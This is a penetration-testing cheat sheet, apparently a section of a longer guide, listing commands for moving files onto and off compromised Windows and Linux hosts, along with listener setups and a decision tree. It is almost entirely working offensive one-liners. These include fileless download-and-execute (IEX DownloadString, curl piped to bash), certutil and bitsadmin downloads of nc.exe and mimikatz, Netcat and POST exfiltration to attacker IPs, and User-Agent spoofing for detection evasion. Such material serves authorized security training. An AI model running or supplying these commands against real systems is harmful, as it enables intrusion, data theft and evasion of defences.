cat part_* > large_file
22. Master Cheat Sheet
Quick command reference
| Command | Description |
|---|---|
Invoke-WebRequest https://<ip>/PowerView.ps1 -OutFile PowerView.ps1 |
Download with PowerShell |
IEX (New-Object Net.WebClient).DownloadString('https://<ip>/script.ps1') |
Execute in memory (fileless) |
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64 |
Upload with PowerShell |
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe |
Download with Bitsadmin |
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe |
Download with Certutil |
wget https://example.com/LinEnum.sh -O /tmp/LinEnum.sh |
Download with wget |
curl -o /tmp/LinEnum.sh https://example.com/LinEnum.sh |
Download with curl |
curl https://example.com/script.sh \| bash |
Fileless download+exec |
php -r '$file = file_get_contents("https://<ip>/file"); file_put_contents("file",$file);' |
Download with PHP |
scp C:\Temp\file.zip user@10.10.10.150:/tmp/file.zip |
Upload via SCP (Windows→Linux) |
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe |
Download via SCP (Linux→Windows) |
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe" |
Spoof Chrome User-Agent |
sudo impacket-smbserver share -smb2support /tmp/files |
Serve SMB share (Linux) |
copy \\192.168.1.1\share\nc.exe |
Download from SMB (Windows) |
python3 -m http.server 8000 |
Simple HTTP server |
python3 -m uploadserver |
HTTP server with upload support |
nc -lvnp 4444 > file |
Receive file with Netcat |
cat file \| nc 10.10.10.10 4444 |
Send file with Netcat |
openssl enc -aes256 -iter 100000 -pbkdf2 -in file -out file.enc |
Encrypt file (Linux) |
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in file.enc -out file |
Decrypt file (Linux) |
base64 -w 0 file; echo |
Encode file to base64 (Linux) |
echo 'BASE64' \| base64 -d > file |
Decode base64 to file (Linux) |
[Convert]::ToBase64String([IO.File]::ReadAllBytes("file")) |
Encode to base64 (Windows) |
certutil -encode file.exe file.txt |
Encode to base64 with certutil |
certutil -decode file.txt file.exe |
Decode from base64 with certutil |
Server setup quick reference
python3 -m http.server 8000 # HTTP file server
python3 -m uploadserver # HTTP + upload endpoint
php -S 0.0.0.0:8000 # PHP HTTP server
ruby -run -ehttpd . -p8000 # Ruby HTTP server
sudo impacket-smbserver share -smb2support /path # SMB share (anonymous)
sudo python3 -m pyftpdlib --port 21 --write # FTP server (writable)
nc -lvnp 4444 > received_file # Netcat listener
openssl s_server -quiet -accept 80 -cert c.pem -key k.pem < file # OpenSSL server
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous # WebDAV
Decision tree
Need to move a file?
│
├── HTTP/HTTPS available?
│ ├── Linux target → wget / curl / python3 one-liner
│ └── Windows target → Invoke-WebRequest / WebClient / certutil / BITS
│
├── SMB (TCP/445) available?
│ └── impacket-smbserver + copy / Copy-Item / smbclient
│
├── SMB blocked but HTTP open?
│ └── WebDAV (wsgidav) → copy \\host\DavWWWRoot\
│
├── SSH available?
│ └── scp / sftp
│
├── Only raw TCP available?
│ └── nc / ncat / socat
│
├── No network transfer possible?
│ └── Base64 encode → clipboard → decode on other side
│
├── Need to avoid detection?
│ ├── Spoof User-Agent (Invoke-WebRequest -UserAgent)
│ ├── Use LOLBAS/GTFOBins (certutil, bitsadmin, GfxDownloadWrapper)
│ └── Use encrypted channels (HTTPS, OpenSSL, SFTP)
│
└── Legacy / minimal environment?
└── FTP / TFTP / VBScript / certutil / /dev/tcp